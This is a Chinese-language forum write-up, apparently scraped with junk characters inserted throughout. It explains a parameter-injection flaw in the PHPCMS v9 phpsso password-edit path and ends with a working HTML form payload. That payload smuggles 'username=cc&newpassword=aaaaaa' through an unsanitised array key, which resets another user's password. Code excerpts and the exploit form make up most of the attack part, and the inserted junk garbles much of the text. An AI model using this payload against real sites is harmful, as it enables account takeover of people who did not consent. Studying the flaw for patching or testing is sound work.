提到的通行证的代码:, x4 i9 i2 V0 Z7 m+ M
. ]7 G" H" Z: M" j4 q$ j& c9 Z b7 c* Y1 W( w' l
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
+ w' ?5 \, \9 }& O6 R* c- t2 s7 A* B. w5 K0 V/ m3 C
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。" I) ^3 }% X6 B' O, n/ X8 ?/ x
. e3 V4 J. ~" F0 _! J X
我把它留给了你们。
. U+ S1 E4 \# }" R- d2 K不知道你们发现了它没有。1 ^- d& K/ B K4 p
/ j8 b( g1 [: {. c$ X" Z" K5 `# D我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。# l0 l! P+ t- a
" H1 H; E4 |2 L/ R
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ d i5 [2 l9 p9 o% r8 |* F" e9 w6 J& C" q6 t
也就是
7 K3 c1 {3 D6 B4 ~: [% S+ b( }3 x1 l9 n5 w
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
" w* O$ r, j% W9 V, T. N: Q Y
% h+ q9 v) X- a6 E" r要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。* K5 t4 D/ h5 ~$ @6 d3 y. _6 b
3 M9 H4 A7 N" r8 A) _& m- J+ l
/ ~& k2 M1 c9 |7 `其实我们有这样的机会,看看代码,如下:! J, u: ]6 E, b9 B
% T( e1 V- `: D
6 X* o% C" O6 t. t! @public function auth_data($data) {# s7 M: I/ u3 _6 r8 u4 F) E
$s = $sep = '';
T3 q, h) g- |# Z5 a# g; N c1 y foreach($data as $k => $v) {$ v- Z9 J" q) A
if(is_array($v)) {
; }% k8 f: J) o. C* o# a9 Q0 v2 F6 J $s2 = $sep2 = '';
3 _" J6 C5 g# W+ V' M' Q foreach($v as $k2 => $v2) {. B) n2 y# C; J4 g2 x! F
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);' A* O- Q% }- e/ ^& R1 r" W
$sep2 = '&';
) W7 \ H/ r$ g. w. @ E }4 P2 o- Q- e. q- H; O/ [
$s .= $sep.$s2;% F2 [) k- `9 ~
} else {
# b. A+ P* K& F" J9 y& T; ^" b $s .= "$sep$k=".$this->_ps_stripslashes($v);
. H: C$ P( h9 V' K4 v) @, X }
# c0 `; `, u2 L2 B2 }3 ]1 C+ M $sep = '&';' V2 s3 p9 P# Z+ _, E5 d% ]
}& d9 ^& ?9 D# d* d4 X
; a/ ~5 V- Z+ T3 z& _ h0 `' O $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));* D, ~9 I u9 F; T
return $auth_s;
e/ w8 h+ X9 M6 x+ ~9 |) e }
' `; Y7 T4 z7 J$ r' u$ o9 i0 x# b: U# w4 Z1 m
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
8 t4 Q S! G3 K2 j: A0 ^* f; ]" l/ P. E- l& t+ U& u
举个例子$ S8 e, t8 S0 \8 m0 U& L" P6 n
4 b4 L& H/ f# @; i& A
$a[aaa=a&bbb] = 'a';
: X( r3 K8 P4 G
0 m* y! B$ D2 q+ O3 H5 y会变成aaa=a&bbb=a
( e9 l9 K) q0 Z( S6 {
) u0 e( \/ j/ u7 C# F- R- b明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。# l2 U2 I$ i" z$ O8 J
( \) e2 n7 [( y2 t$ i这个时候,我们可以再去看一个函数。8 X: O& l J& E! z G
/ B" Z7 v4 k0 t# h0 {: S
就在这个文件内:! \3 m& x' A, G4 n T
* M- g. C2 I& |# n4 B
' F; Z3 i. y( M5 b [* wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {8 g2 |7 c- @! ?# c3 I
if($email && !$this->_is_email($email)) {
* l! j9 F2 Q4 F+ d& v return -4;
5 H+ W8 B" X3 w" {7 ~4 ]! l3 `: b. Z }
9 P# c: y& S# W) D; G# ], H return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
8 f @) h1 ]% s( W }
; E& N, T% h' Y1 k! ~3 G: y! |. u& M0 `8 X* q& Q3 V
这是向通行证发了这样一个请求。
D: A& }# `& T8 p( Y6 S; @$ `& I0 Z/ B7 ~
我们再跟到通信证代码里去看看,就会有所发现。+ e, Q: [+ j9 m
( R/ b$ m* D% F
$ T, Z) n6 m, U3 npublic function edit() {
0 K1 |4 @# ~) B% y2 v/ r//能省就省,太长了不是吗?
5 o# Z3 |# b" Z( J
8 X$ q* b" m; uif($this->username) {
9 i8 S# ~& w8 E2 P+ X; Z% s//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。% g" p, y7 I' p
$res = $this->db->update($data, array('username'=>$this->username));! I: `8 f2 ?" k1 x! ?% z p5 J
} else {% P4 ^$ z/ \9 {1 m1 U. |9 L
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
% L" e; T$ Z& t2 F2 C, n7 h: ^ $res = $this->db->update($data, array('uid'=>$this->uid));) c" e* O! ^2 n
}# B$ l) U: A9 l
+ P4 U( h. g6 d. t: p/ v好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
1 r9 n% x/ R2 O. D- p J
! Z& z# ^6 b( H) Spublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 e3 Y5 C/ o8 L/ p' V" M9 v
9 p) l8 W% y% q1 e+ i很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。9 @2 K! v6 r. J" b y# [
9 P( L( B" e& |- y' k$ I我当然找到了:, h- q t/ p* v& g( j
phpcms9/phpcms/modules/member/index.php
1 D# [, y' C0 i( [0 a+ b( ]* c! E* Y4 b7 E3 z M9 S% }. k
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
4 m/ a. l* X$ u* D% L! Y) k2 g# H! g( o0 }; E/ O& B% i1 c5 B* c
然后就没有然后了。
- n! m* R8 }4 B0 F6 G2 q
/ h, e8 K+ T; f<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
) e0 [' n& }) \# }: k/ h. M/ I <table width="100%" cellspacing="0" class="table_form">. p5 @! k; R+ o! q: J6 }
<tr>
6 O+ a9 L' u2 ^1 k5 I <th width="80">邮箱:</th> 7 c, R* H4 W8 r7 o: c
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>* ~8 G6 A' ?# ]5 n* @9 |
</tr>
7 k* Z+ v9 O4 z+ r. Z1 A <tr>. s3 s7 `+ s& ?
<th width="80">原密码:</th>
6 T' d( ` k8 Q <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>9 L6 D+ q9 z7 G- N! A2 u. N' ]$ Z
</tr>
# @- c) [$ i3 J8 t4 ? <tr>2 P9 R& L; ]. W3 @ _& O7 P0 F5 X
<th>新密码:</th>
3 O2 O+ ]2 I4 `/ s7 M <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
+ N D0 O' [. U" z& { </tr>/ \) U" l! l, y# ^2 r7 ~& |8 ^
<th></th>
5 ^. G# s! A; g2 s1 U# f8 I* e <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>/ Y Y: v7 m7 A# L. Q+ g @
</tr>3 c9 v, T( O! j7 u2 ~2 P6 L
</table>
& I- C! j- D( [4 O! F+ R# t- I
+ O9 [6 l) [. t& q1 f8 G
4 g" ]7 u0 s e8 X5 X </form>
" S9 [$ k! S; w0 X" } |